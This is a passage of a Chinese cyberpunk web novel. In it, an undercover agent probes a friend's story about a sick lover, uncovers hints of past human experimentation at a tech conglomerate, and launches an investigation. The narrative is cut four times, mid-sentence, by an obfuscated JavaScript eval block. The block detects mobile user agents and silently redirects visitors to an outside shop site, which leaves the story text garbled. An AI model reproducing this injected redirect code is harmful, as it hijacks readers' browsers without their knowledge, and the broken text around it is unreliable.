如今这世道,议会牵头,市政厅上下宣扬,义体改造早成了新风尚。 中下城区里,但凡有些条件的人,谁不想早点换个比血肉之躯更便利的胳膊或腿脚? 更快、更强、更耐损,这才是活在当下的凭证。 正因如此,居安新和赵四这副近乎纯天然的模样,倒显得格外扎眼。 不过两人都不在意这些的人,如果在意,他们就不会约在这种公共场合见面了。 “坐。”赵四将一杯早已点好、加了冰块的深色饮料推过去,“你的‘黄铜活塞’,额外多加了几滴可食用液态烟碱。提提神,你的黑眼圈快掉到下巴了。” 这种类似强化版冰美式的饮料味道刺激,却是居安新最近依赖的提神利器。 他道谢后喝下几口,冰冷的液体似乎暂时驱散了一些疲惫。 他靠向椅背,紧绷的肩颈放松下来。 “最近没少喝这东西……”他揉了揉眉心,声音有些沙哑,“不过,谢了。” 谈话是从安安的近况开始的。 居安新提到那只银星犬时,眉宇间终于有了一丝真切的笑意。 “多亏了你,安安现在很健康,后来我们又谈了一次话,我才知道那段时间他压力也很大,所以有些疏忽了安安…… “说起来安安还是洛伦专门为我挑的,他特意挑了只成年的、据说省心的狗回来,谁知道在饲养上全听信了卖家的话,反倒差点酿成祸事。” 居安新接着讲了个故事:一个小少爷为了缓解恋人的压力送了只宠物,却因缺乏照料经验,反而给对方添了更多麻烦。 情节编排勉强说得通,叙事节奏也把握得不错,再加上情感流露真切,结尾又是皆大欢喜的大团圆…… 这件事细说起来倒是娓娓动听的,只是未免也太像个“故事”了。 反正赵四听着是感觉可信度存疑,可居安新显然是信的。 他说起这件事时,连那张标配般的霸道总裁脸上,都仿佛冰层微融,透出了一丝罕见的柔和。 赵四不会在这种时候泼他的冷水,只是顺着他说:“原来都是误会,那你们现在应该是和好了?” “当然,我们的感情更进一步。” 居安新眼中带上三分笑意、三分满足、三分欣慰与一分甜蜜,但很快,这调色盘一样的情感表达被更深沉的忧虑覆盖。 他的手指无意识地摩挲着冰冷的杯壁,声音低沉下去。 “有件事……我不知道能跟谁讲。洛伦他……嗯,他有个朋友,病得很重。是一种罕见的基因表达向疾病,公司总部那边已经看过了,说是现有治疗手段……效果都不理想。” 在新世界这里,倒没有“我有个朋友,其实说的就是我自己”那种说法。 但为了保护洛伦,居安新无师自通地推出来一位“洛伦的朋友”,仿佛这样,真相就能隔着一层安全的距离。 实际上生病的正是洛伦自己。 居安新想帮他,想倾尽所有去帮。 可他能做的,却那么少。 动用权限,用内部最优价格提供四方科技最好的药? 可洛伦是环宇的继承人,本身就能走四方科技最高级别的医疗通道。 连公司本部都束手无策的事,他居安新又能做什么呢? 居安新看向赵四:“最近因为这件事,他压力很大,状态一直不好,经常心神不宁。上次安安的事……也怪我,那段时间心思全在工作上,疏忽了他。 “我现在看着洛伦,愈发觉得除了这份感情,我似乎什么也给不了他。我到底……该怎么办?” 赵四静静听着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17066891|195144||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,脑中思绪飞转。 刚才那段话很不对劲。 首先第一点,赵四还能不知道吗,洛伦乃至环宇高层,近期并未在四方科技有正式就医记录。 所谓“四方科技已给出回应”,纯属子虚乌有。 其次,四方科技“密室”保存的环宇核心成员基因样本中,并未检出此类严重的、不可逆的遗传缺陷表达。 【完蛋,三儿啊,你猜这生病的,到底是洛伦还是洛伦的家人?】 MK3000磕了一颗糖,含糊道:【假设洛伦生病了,那代表洛伦的基因样本是假的;假设是他的家人生病了,那代表他的家人的基因样本是假的——所以这两种区别在哪里?我们只能得出结论,那就是密室里保存的东西已经不可信了。】 赵四忍住了按压太阳穴的冲动。 好消息,这次和居安新聊天,果然又得到了新线索。 他们明确知道了环宇集团确有核心成员(极大概率是洛伦本人)罹患了严重罕见的遗传病,且因不明原因无法(或不愿)通过正规渠道向四方科技寻求治疗。 这解释了为什么环宇集团会如此不惜代价、甚至铤而走险进行非法基因实验。 坏消息,原本视为突破口的基因样本比对,可信度大打折扣。 或者说,哪怕是结果出来了,赵四他敢信吗? 最后就是那个研究员说出来的话了——居安新到底有什么隐藏背景,是赵四和MK3000没查出来的? 洛伦和他背后的环宇集团为什么那么肯定,他们能从居安新这里获取到研发方向的机密? 这次谈话是个好机会,可以先试探试探,试试看能不能一次就搞清楚这个问题。 想清楚这些,赵四先开口安抚居安新的情绪。 “感情上的支持与理解,在这种时候往往比任何物质资源都更珍贵,也更能成为对方的支柱。如果你真的想为他做点什么,或许可以尝试换一个角度。” 迎着居安新略显困惑的目光,赵四继续道:“暂时丢掉一切社会身份,单纯的以‘居安新’这个人,去更深入地理解对方面临的困境。 “你能做的很少,但是又很多。或许是信息,或许是渠道,或许仅仅是一种不同于家族内部的、纯粹的信任与倾听……多去了解了解他吧,你本身的存在,对他而言就足够独特了。” 居安新眉间微蹙,流露出迟疑:“我不想……贸然干涉他的生活,增添他的负担。” “这只是一个朋友基于有限视角的建议。” 赵四摊摊手。 “每个人的成长环境都不同,最终塑造出来的人也不同。而谈恋爱不就是互相体贴包容,了解对方的过程吗? “而且恋爱终究是两个人自己的事,所以最终如何行动自然取决于你,这是你作为恋人需要独立面对的课题。” 居安新陷入思索,他的目光在赵四脸上停留,又缓缓移开,最终落在自己交握的双手上。 咖啡馆的客人来来回回换了两轮,居安新终于回过神。 “……你说得对。”他的声音比刚才稳定了一些,“我不能只是被动地等待,或是盲目地焦虑,我需要知道他究竟在面对什么。” 不管发生了什么,他们都该一起面对。 19.第19章 他心悖论19 气氛在话语间松弛下来,赵四喝了口自己面前叫“一捧旧日空气”的饮料——说实话他没喝出来饮料是什么味道,像干咽下一口被调过温度的回忆。 他放下杯子,语气仍维持着安慰朋友的姿态。 “就是这样,别太焦虑。退一万步讲,就算到最后关头,你信不过自己,总该信得过四方科技本部的研发能力吧。” “十年前他们能攻克义体神经交互障碍,接下来又研发出稳定基因的基因药剂。说不定再过几年,洛伦朋友的问题也能找到解法。” 居安新当然明白这个道理,他本就在四方科技任职,比谁都清楚那些实验室里诞生的奇迹。 论对公司的信心,他本该是最坚定的那个。 但是…… “未来的事,谁说得准呢。” 药剂研发从来不是易事,而洛伦的病症又如此特殊。 四方科技真会为了另一家企业的继承人,投入巨额资源去专攻一个可能没有泛用价值的难题吗? 大老板会直接建议环宇集团克隆一个新的“洛伦”出来也说不定。 只要在胚胎阶段完成基因调整,只要将完整的记忆数据导入新生的躯壳,走出实验室的那位,谁又能分辨他是不是原来的洛伦? 那样的话……洛伦还是洛伦吗? 或许这也算一种圆满。 他早就知道的,这始终是最便捷的路径。 那条让所有人都能“幸福”的捷径,其实从一开始就摆在眼前—— “……克隆也好,基因实验也好,都是为了生命的延续与文明的未来……没有必要的牺牲,就没有崭新的明天……所有人都将在新世界重逢……” 居安新不自觉地低语出声,像在背诵某段深植于潜意识里的教条。 正在琢磨饮料玄机的赵四缓缓抬起头:“?” 兄弟,你的这个思想很危险啊。 才一眼没盯住,怎么就直奔思想滑坡的深渊了呢? MK3000,快过来听听,见识下谁才是真正的法外狂徒! 【听到了,听到了,两只耳朵都听到了。】MK3000有点迟疑,【他这思考回路……莫名像一位故人。】 特别像它之前搭档过的一位专员,“亚历山大·张三”。 在和MK3000搭档的那次任务里,张三专员打着的旗号就是刚刚居安新念叨的那一套。 然后私下里,他进行了一系列极限违规操作:把任务目标克隆出来了千八百个,狂笑着将真货混入克隆大军,坐看他们陷入关于“谁才是本体”的自我认知战争,最终引发了一场世界级的身份灾难…… 而幕后黑手张三,在最后关头又是一波违规操作,把所有逝者奶活。 在那个世界的原住民眼中,他俨然成了乘着七彩祥云降临的救世圣人。 任务最终以惊人的奖金和完美评价收场,没有任何“原住民”受到物理伤害。 唯一被反复摧残的,只有全程旁观、核心处理器几乎过载的MK3000。 难道所有法外狂徒的思维逻辑,也玩共享模板那一套? 赵四叹为观止:【哇哦,假如事情真的无可挽回了,我难道有机会亲眼见证一场‘复活吧,我的克隆爱人’?】 别说,还挺带感。 但这并非重点。 关键在于,居安新危险的联想背后,暴露出了更严重的问题。 【房馥臻到底有多可怕,】赵四沉吟,【能让居安新一想起他,思维就自动跳转到克隆人这种极端方案?简直像触发了某个关键词,直接进入了预设的‘灾难应对模式’……他有过相关的心理创伤?】 他清了清嗓子,把居安新从那个自我吞噬的思绪漩涡里拽出来。 居安新猛地回过神,像是从深水中挣扎出来,眼神还有些涣散。 他看向赵四,又看了看桌上那杯几乎没动的“一捧旧日空气”,自嘲地扯了扯嘴角:“……抱歉,我走神了。” “不是走神,你刚才那表情,就差去跟四方科技总部爆了……怎么,最近大老板给你的压力有这么大?” 居安新招手又要了一杯“黄铜活塞”。 等待那杯泛着金属色泽的饮料被送来时,他否认了赵四的猜测。 “压力倒不全是房先生给的……是洛伦的情况,让我想起了以前经手的一个类似案例。” 那还是上一任大老板房律在位时期的事。 患者同样是基因层面的罕见病,身份是某个不便公开的议会高层。 “当时我只是个实习生,不清楚具体谈判细节,只知道房老先生给出了一个最终没被采用的‘最优方案’。” “没被采用的最优方案?”赵四挑眉,“这说法有点意思……能说吗?你们应该都签了保密协议吧。” “这部分可以说,否则我也不会提。” 居安新解释起那个方案。 简而言之,就三步:完整备份意识、培育基因适配的克隆体、在主体机能衰竭或发生不可逆恶化前,完成意识转移。 “房老先生认为这是效率最高、情感损耗最低、且能最大化延续‘价值’的方式……但客户没选。至于客户最终选择了什么,那就是我不能说的机密了。” 居安新的语气有点复杂,“那件事之后,我好像就被困住了。每次遇到看似无解的困境,尤其是涉及‘人’的存续问题,那个最优解就会自动跳出来。它太清晰……也太‘合理’了。” 赵四:“所以,你不是在替洛伦想办法,你是在和你自己脑子里,那个自己出现的方案较劲。” 居安新灌下半杯“黄铜活塞”,默认了赵四的话。 “恕我直言,那位‘房老先生’对你的影响太深了。你现在陷入的,其实是对自己潜意识的内耗……这对你和洛伦的感情没有益处。” 居安新又何尝不明白。 但他无法说出口的是,早已去世的房律,就像一个活在他思维基底里的幽灵,其对他影响力远不止于此。 “如果一个人能选择自己的出身……不,是我失言了。” 居安新正色道:“我很感谢房老先生给我的机会,也感激他对我的培养。没有他,我不会拥有今天的一切。” 所以,他会像曾经忠于房律一样,忠于现在的房馥臻。 为房馥臻工作,为四方科技创造更多的“价值”。 这些他并没有说出口,但赵四已经听懂了他的意思。 赵四也收敛了随意的姿态:“放心,今天听到的,不会从我这里漏出去半个字。” 表明立场后,他才继续道:“虽然不知道具体发生了什么,但现在的你过得很好,也完全有权利去追求自己的幸福。无论如何,祝福你和洛伦。” 居安新点点头,脸上冷峻的线条柔和少许,露出一点极淡的笑意。 之后两人没再深聊。居安新离开时主动结了账,背影看起来比来时松弛了一些。 赵四则转身返回宠物医院。途中,他撞见了一股涌动的狂欢人潮。 人们披着光学织物编织的、变幻不定的彩衣,脸上涂着荧光油彩,机械义肢覆盖着鲜艳的喷漆涂装。 与一个女人擦肩而过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17068492|195144||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时,他瞥见她棕灰色金属拼接的肩膀上,绘着一个Q版机器人图案。 小机器人的嘴角被夸张地向上勾勒,凝固成一个充满希望的笑容。 第一天晚上远远看见的花瓣雨从天而降,于是赵四脸上也露出一个应景的微笑,伸手接了一片花瓣。 女人朝他快乐地喊道:“义体万岁!改造日万岁!” 赵四轻声道:“祝你一切顺利。” 他不知道对方是否听见了,女人被同样快乐的人群裹挟着不断向前。 揉捏着手中质感接近柔性塑料的花瓣,赵四在涌动的人潮中,点开了MK3000刚刚发来的资料。 就在居安新提及旧案时,MK3000已启动了针对性查询。 资料显示,那位患者名叫西拉诺·K·阿尔瓦雷斯。 他最终选择了更为保守的传统疗法,但疗效未知。 因为在用药观察期,此人就突然死亡,记录中只模糊提及,他“卷入了一场政治倾轧”。 赵四凝视着那个名字,【如果我没记错,我在议会的那个弟弟,叫维克多·K·阿尔瓦雷斯?】 MK3000:【是的,在公开档案里,维克多是那位已故议员的亲生儿子。】 一个议员的亲生儿子,却是房馥臻没有血缘关系的“弟弟”? 【三儿,我好像一直没问过,房馥臻是什么时候正式执掌四方科技的?】 MK3000:【公开记录显示,是十年前。】 十年前的新闻页面被调出。看着照片里房馥臻那张与如今毫无二致的面容,赵四无声地咂了咂舌。 又是十年前。 十年前,新一代民用义体全面上市。 十年前,基因缓释药剂技术取得突破性进展。 同样是十年前,房老先生——房律,病逝于四方科技总部,其子房馥臻接过了公司的实际权柄。 今天与居安新一席对谈后,赵四正式将“房律”这个名字,划入了危险人物名单,并予以重点标红。 ——仅从居安新所受的深远影响,便足以窥见房律思想的冰冷与极端。 事实上,自从知晓这群“家人”的存在,赵四就思考过这种无血缘的牢固纽带究竟如何形成。 现在,结合居安新的叙述,一个大胆的猜想逐渐成形。 【三儿,如果我们引入房律的性格模型,再推演他需要对房馥臻和赛琳娜他们做什么,才能催生出这种近乎扭曲的、坚不可摧的信任……你最先想到的可能性是什么?】 MK3000毫不犹豫的吐出了四个近似含着刀锋的字眼。 【人体实验。】 喧闹的狂欢人群早已远去。 赵四松开手,任由那片人造花瓣飘落,与它的无数同伴一起,在地面上铺成一片柔弱而绚丽的彩色绒毯。 站在这片缤纷的花毯之上,赵四轻轻叹了口气 是啊,若非共同经历过某种极端化的苦难,一群毫无血缘的陌生人之间,又怎么能锻造出如此深刻的羁绊? 房馥臻与他那群“家人”之间凝固的情感联结,恐怕是以旧日的血与痛为粘合剂,浇筑而成的。 在这种情况下成长起来的房馥臻,他所理解的“真心”……又会是什么模样? 赵四静默片刻,转身继续朝医院方向走去。 【三儿,查一下房律,最好是十年前……不,时间线要再往前推。 尽可能找到他早期的研究记录、项目申请,或者任何可能留下痕迹的东西。】 不管怎么样,赵四有预感,他已经在接近真相了。 20.第20章 他心悖论20 回到宠物医院时,个人终端显示的时间已近傍晚。 中城区从不分什么白昼黑夜,但身体不会骗人。赵四捏了捏发酸的后颈,那股从深处浮起的倦意,到底还是漫了上来。 MK3000的提示来得正好:【专员,药快见底了。算上今晚,只剩最后一次。】 赵四在心里回了句“知道了”,目光却第一次认真地落在这栋建筑的外墙上。 宠物医院占着这栋楼的下面七层,外头绕着一圈暖乎乎的光带。 光带的主体并不是那种饱和度过高的商业霓虹,而是些会摇尾巴的猫猫狗狗全息影像。 在一片吵闹的电子夜景里,这座医院显得过分可爱,甚至都不太像个正经医疗场所了。 赵四甚至瞥见侧门底下有几处故意做旧的涂鸦,幼稚的爪子印旁还画了颗歪歪扭扭的爱心,荧光涂料在暗处泛着微光。 MK3000见他感兴趣,调出补充资料的话气里带点分享内部八卦的意味。 如今它坐拥四方科技与宠物医院双重数据库,许多本该保密的事,在系统眼里并非秘密。 【这整栋楼的温馨路线,都是大老板亲自拍板的。外墙动画原型和内部那些软装设计,终端记录里签的都是他的名字。】 赵四略感意外,【看不出来啊,房总私下还挺有……童趣,这跟他平时的画风差得可有点远。】 最后看了一眼那些在夜色里安静跃动的光影,他转身推门,把自己埋进医院内熟悉的消毒水气味里。 门在身后合上,将那片过于柔软的灯光隔绝在外。 只有MK3000“咔嚓”一声轻响,把医院的轮廓收进了存档。 而百米之外的装卸区,此刻正灯火通明地忙碌着。 整个院区的专用货运通道已被彻底清空,三辆印有潘多拉物流标志的悬浮货柜车静默地泊在指定位置。 四五个穿着深蓝色工装的技术人员正围着几台巨大的金属集装箱忙碌。 箱体虽覆满防震缓冲层,但边角处裸露的金属外壳上,那个熟悉的徽标依然清晰可见。 四方科技的标志,在装卸区的射灯下泛着冷硬的金属光泽。 “小心点!这箱有易碎标识的先放一边,调悬浮垫过来接应!” “三号箱往左边挪,对,这个需要对接第六诊疗室的专用接口。” “数据校验模块先别通电,等所有物理连接完成再初始化……” 现场指挥的是医院设备科的主任,一个头发花白但动作利落的老技师。 他手里拿着光屏板,一边核对清单一边高声调度。 几名年轻助理医师也在一旁协助,小心翼翼移动那些显然价值不菲的设备箱。 被这片忙碌场景吸引过来的赵四,找了个不耽误别人干活的地方,站在那观察了片刻。 他静静观察片刻,在MK3000的标记辅助下,认出了其中几台设备的型号,这些机器设备无疑都在四方科技的内部采购目录上。 看了看那些标价,每台标价后那一长串零都令人咋舌。 “院长?” 一个小护士抱着装满医疗耗材的纸箱从旁边经过,看见赵四站在那儿,连忙停下脚步问候。 赵四朝她点点头,指了指忙碌的装卸区:“这是什么时候开始送的?” “下午三点左右到的第一车,潘多拉物流的人说这批货是加急件,从四方科技总部仓库直接调拨过来的。 “设备科的陈主任已经带人忙活两个多小时了,说是今晚必须把所有基础设备安装调试完毕,明天上午就要开始对接院里的现有系统。” 小护士把纸箱往上托了托:“对了院长,陈主任说这批设备里还有一台‘生命体征动态建模仪’,是咱们之前申请了三次都没批下来的那款。这次居然一并送来了,真是太意外了。” MK3000:【生命体征动态建模仪,四方科技医疗设备部门去年才量产的尖端产品,可实时构建并预测病患未来一周内的生理状态变化曲线。 【但因为它需要接入四方科技的核心医疗数据库进行算法训练,所以对外出售的审核极其严格。】 赵四的眉毛微微扬起。 居安新能弄来这个肯定是废了力气的,这个诊出的是真值。 “知道了,你去忙吧。” 赵四朝小护士摆摆手,目光重新落回那些设备箱上。 潘多拉物流……这个名字在他脑海里转了一圈。 来新世界的第一天,他从中城区前往上层区时搭乘的网约车,司机就提过自己属于这家公司。 后来他查过相关资料,潘多拉物流是这个城市最大的综合性运输企业,业务范围横跨客运、货运、特种物品押运以及绝大多数地区的市政管网维护。 单纯以体量论,绝不逊于四方科技与环宇集团。 这类垄断性质的大企业,也算新世界的特产了。 装卸区那边,技术人员已经拆开了最大的那个集装箱,包裹在防震材料中的主设备体被小心翼翼地移了出来 那是一台约两米高的银白色棱柱状仪器,表面布满精密的接口和散热栅格。 在仪器侧面的铭牌上,除了四方科技的标志,还有一行小字: “第七代全谱生物信息分析平台,仅供授权机构使用”。 陈主任戴上显微目镜,开始亲自检查设备的物理接口。 几个年轻技师围在一旁,手里拿着各种检测仪器,神情专注得像在进行一场精密的外科手术。 赵四没有上前打扰。 他站在装卸区边缘安静地看着这一切。 冷白色的灯光从头顶倾泻而下,将场中的一切都勾勒出分明而清晰的轮廓。 八个嵌套方形组成的四方科技徽标随处可见,那一刻,赵四的心情确实有些复杂。 当初接受居安新的赞助时,他只当是一次寻常的“霸道总裁式”资助,从未想过这张身份卡会与四方科技牵扯如此之深。 而现在,当这些印着四方科技标志的尖端设备,真真切切地摆在自家医院的装卸区里时,那种微妙的感觉变得更加强烈了。 世事无常,兜兜转转。 所有的问题和线索,似乎都烙着同一个名字。 他最后看了一眼那些正在被搬进医院的设备箱,转身朝医院内部走去。 鞋底踩在光洁的走廊地面上,发出规律的轻响。 熟悉的治疗室里,那只小黑狗已从玻璃保温舱转移至室内的软垫狗窝。 看见赵四进来,它耳朵立刻竖了起来,挣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17073956|195144||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 扎着想要站起来。 赵四蹲在软垫旁边等了一会,看见虽然它的前腿还有些打颤,但后腿已经能勉强支撑起身体了。 小黑狗摇摇晃晃地蹭过来,伸出舌头轻轻舔了舔他的指尖。 那股新生命特有的活力,让赵四忍不住伸手揉了揉它的脑袋。 他想了想,又从旁边的架子上取了一支营养膏,挤在掌心里递过去。 小狗立刻埋头舔舐起来,尾巴在身后小幅度地摇晃着。 他就这么蹲在那儿,静静地看着它吃东西。 走廊里偶尔传来医护人员走动的脚步声,仿佛被一层透明的膜隔开了,模糊而遥远。 在这个小小的治疗室里,只有小狗舔食时发出的细微声响如此真切。 MK3000让镜头围着他们转来转去,很是拍了不少照片。 赵四也任由它拍。 他已经发现了,拍照虽说是为了任务存档,但更多时候,只是MK3000自己的爱好罢了。 约莫十分钟后,蹲麻的腿传来一阵刺痛。 赵四扶着膝盖慢慢站起,小狗抬起头看他。 他轻轻拍了拍它的脑袋,转身离开。 走出治疗室时,在走廊拐角处正遇见林琳。 她看见赵四从治疗室出来,脚步顿了顿,目光在他脸上停留了两秒。 然后,赵四看见她嘴角极轻微地向上弯了弯。 那不是明显的笑容,但那微微扬起的嘴角弧度,还有她眼神里一闪而过的那种……怎么说呢,近似于“欣慰”的情绪,却让赵四一时有些哭笑不得。 看来在这位妹妹眼里,他这位兄长自从捡了条狗回来,都无师自通地学会了“毛绒绒解压法”。 这种认知偏差,不知道该说是林琳对他过于关心,还是对他平日里的精神状态评价过低。 “林医生是来看……嗯……” 赵四清了清嗓子,试图打破这微妙的氛围,结果在怎么称呼小黑狗的时候卡住了。 不管是他还是房馥臻,都并没有给小黑狗起一个正经名字,而直呼“小黑狗”又显得多少有点奇怪。 好在林琳已经明白了赵四想表达的意思。 “我来看看它今天的情况。另外,设备科陈主任说新到的仪器里有几台需要院长权限初始化,晚些会来找您。” “知道了。”赵四侧身让开路,“这段时间辛苦了。” 林琳从他身边走过,脚步轻盈而安静。 走出几步后,走出几步后,她却忽然回头。 “院长。” “嗯?” “那只小狗……”她顿了顿,似乎在斟酌用词,“它现在情况很好,生命力很顽强。如果、如果您想一直养下去的话,就给它起个名字吧。” 说完这句话,她便转身继续朝治疗室走去,留下赵四一个人站在走廊里。 起个名字吗。 “那还是饶了我吧……” 某种意义上来说,起名字也是结下羁绊的开始,而赵四……只是一个使用身份卡来到这个世界的过客而已。 他实在没办法再去承担一个生命的重量。 而且赵四也不想给房馥臻找麻烦,毕竟—— 房馥臻也是真实存在的人,他是会回来的啊! 21.第21章 他心悖论21 通常情况下,主系统与任务世界为专员准备的身份卡,主要分为两种来源。 第一种较为特殊——该身份原本并不存在,是专员抵达任务世界后,由世界直接生成的“专属身份卡”,仅限任务期间使用。 这类身份卡无背景、无社会关系、无初始资产,是彻底的“三无”空白开局。 它在赋予专员极高自由度的同时,也意味着一切必须从零开始,起步往往更为艰难。 在实际任务中,这类空白身份卡出现频率较低,更常见的是第二种: 即与任务高度相关的关键人物,出于自愿原则出借其身份使用权。 任务世界会妥善安置原主,并调用能量,以其基本信息为模板,为专员重新生成一具完全相同的身体作为身份载体。 这样做的好处显而易见:专员一经落地,便可借助现成身份直入任务核心,省去大量适应与铺垫的时间。 但随之而来的附加条件是,所使用的身份自带完整且复杂的人际背景与社会关系。 因此在绝大多数情况下,专员需要在任务期间进行一定程度的角色扮演,以维持身份合理性。 那么,为什么不能像是某些爽文开局一样,直接衣服一扯邪魅一笑,说“愚蠢的亲朋好友啊,我已非昨日之我,所以我不要做人了!”,然后爽崩角色平推任务呢? 因为这背后涉及一个关键的后续问题—— 那就是,事情解决完了,原主是需要回到自己的生活中继续人生的。 是的,没有什么意外的话,原主,是会回来的。 毕竟中心并非法外之地,主系统更不是那种天天在各个世界拐小孩的可恶人贩子。 他们可是正经组织!借用的身份当然会还回去的! 而且不光会还,还附带完善的售后服务。 主系统将派遣后勤专员,协同任务世界成立善后小组,对专员执行任务期间的一切行为进行合理化处理。 当然这种合理化也不能太过分,要是专员把身份卡的人设崩到亲妈来了都不认识的程度,那善后组只能含泪送这个世界的一个时间回溯了。 然后……打申请把崩了人设的专员抓回来,重新执行任务。 这也是结算环节的保留节目了。 若是带些恶趣味,资深专员只需在新人耳边低语一句“你上个任务OOC(脱离角色)了”,多半就能见到一位瞬间脸色发白、泪眼汪汪的后辈。 赵四对此颇为无奈。 【必要的任务记录也就罢了,房馥臻既聪明又自愿出借身份,自然得接受相应的结果。但是……】 但是为小狗起名,便意味多出一份羁绊。这里的所有人都会默认,这条狗是由他收养的。 将来赵四完成任务一走了之,对小狗而言已经算是很不公平; 对房馥臻来说,更是变成了赵四擅自将另一份生命的重量,强加于他的生活。 天知道房馥臻最初捡回小狗是出于什么念头。 在它与当前任务尚无直接关联的情况下,维持现状,或许才是对所有人都好的选择。 MK3000表示赞同:【很标准的任务思维,请保持下去,专员。】 对小黑狗的讨论暂时告一段落。 关于小黑狗的讨论,至此暂告一段落。 赵四笑了笑,转身离开。 他还得赶下一个场子——时间差不多了,该回四方科技了。 —————— 回到四方科技大厦时,已经是晚上九点多。 上城区的夜色十分静谧,办公室主灯未开,只有几处辅助光源在昏暗中晕开浅浅的光。 被医疗组又上下折腾了一番的赵四先是缓了缓气,才点开赛琳娜发来的今日简报,确认没有急需处理的事务后,他按下了通讯器。 “苏珊,来办公室一趟。” 如今的赵四已清楚房馥臻手下人员的权责架构:下城区由多里安负责,中城区是林琳,赛琳娜主理集团明面运营,而真正协助处理各类“特殊事务”的,实则是苏珊。 约十分钟后,穿着卫衣牛仔裤的苏珊出现在门口。 她在赵四面前站定,眼神清亮,姿态利落。 这不是上班时间,但苏珊的态度无可挑剔,有时候赵四真的怀疑房馥臻手下的人都不睡觉的。 赵四略微感慨了一下,没有多加寒暄,直接切入正题。 “派人查查洛伦·艾克最近的动向,尤其是他真实的健康状况。” 苏珊对这个名字并不陌生,毫不犹豫地应下:“是。” 赵四略作沉吟,补充道:“想办法获取他的活体组织样本。样本到手后,直接送进第七实验室,让他们以最快速度出一份全面分析报告。” 第七实验室——那是专为房馥臻研发基因药剂的核心机构,也是四方科技旗下保密等级最高的实验室。 听到这个指令,苏珊眼中掠过一丝讶色:“您怀疑……他每年在集团的体检数据可能不实?” 赵四未置可否:“先查了再说,动作要快,更要隐蔽,他很敏锐,绝不能让他察觉。” “需要同步安排远程生理扫描吗?” “能做就做,我要的是最深、最全的调查。” 苏珊点头:“我明白了,稍后我会申请第七实验室的一级接入权限,请您批准。” “权限已经向你开放。”赵四顿了顿,话锋稍转,“对了,你对居安新这个人怎么看?” 苏珊没料到话题突然转向,但是她对居安新确实有过了解。 赵四突然问到,她略作回忆才开口。 “居安新是个运气不错的人。您也知道,他是十年前那场清算中全须全尾脱身而出的少数人之一。 “房律对居安新一直都有种说不上来的宽容——他甚至没在居安新身上动手脚,反而送他出去读书,最后让他带着学历回到集团工作。 “如果不是反复核查,确认他确实出身中城普通家庭,背景干净……” 苏珊在赵四面前没什么可伪装的,语气异常直白,所以赵四轻易听出了那未竟之言里的寒意。 她抬起眼,目光里带着探询:“您突然问起他,是发现什么不对劲了吗?” 赵四靠向椅背,指尖在扶手上轻叩两下:“最不对的,是居安新最近成了感情诈骗的受害人。” “啊……”苏珊的网速并不慢,她眨了眨眼睛,“您是说,《继承人之恋:总裁,您的少爷他又哭了》?” 赵四:“……?” 刚刚什么东西从耳边飘过去了。 这对吗? 这是正经谈话该出现的东西吗? 这起名风格怎么有点似曾相识? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17078665|195144||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 苏珊咳嗽了一声,眼神可疑的有点发飘。 “我是说……感情诈骗犯是洛伦·艾克吗?” 算了,合格的兄长不该深究妹妹的精神食粮。 赵四全当刚才什么都没听见,若无其事的肯定道:“……就是他。” 他简明扼要地向苏珊叙述了这段时间发生的事。 苏珊听完,气息明显沉了下去:“原来蝰蛇那边靠的是环宇集团,怪不得议会那边对这件事的态度暧昧成这样……” 同样是大企业,苏珊毫不怀疑环宇在议会中的能量。 但真正让她动怒的并非这件事。 集团里还有房律的人她不意外,反正人都死了这么多年了,连骨头都被兄弟姐妹们剔出来磨成灰扬干净了,再有人又能怎么样。 但是……但是! “但竟然还有人敢和早就打上房律亲信标签的居安新私下联系……!” 而且那个人很可能就藏在保密等级最高的研究部,还十年都没被发现。 别说什么还没发生的事情就提前定罪了,环宇这样的地方,只会不见兔子不撒鹰。 既然继承人都已经找上门,说明他们再三确认过,居安新身上一定能挖出他们要的东西。 办公室里安静了片刻。 赵四给了苏珊一点平复情绪的时间,她深呼吸几次,外露的锋芒逐渐收敛。 “需要安排对居安新的保护性监控吗?”她已恢复冷静,“或者以适当方式提醒他?” 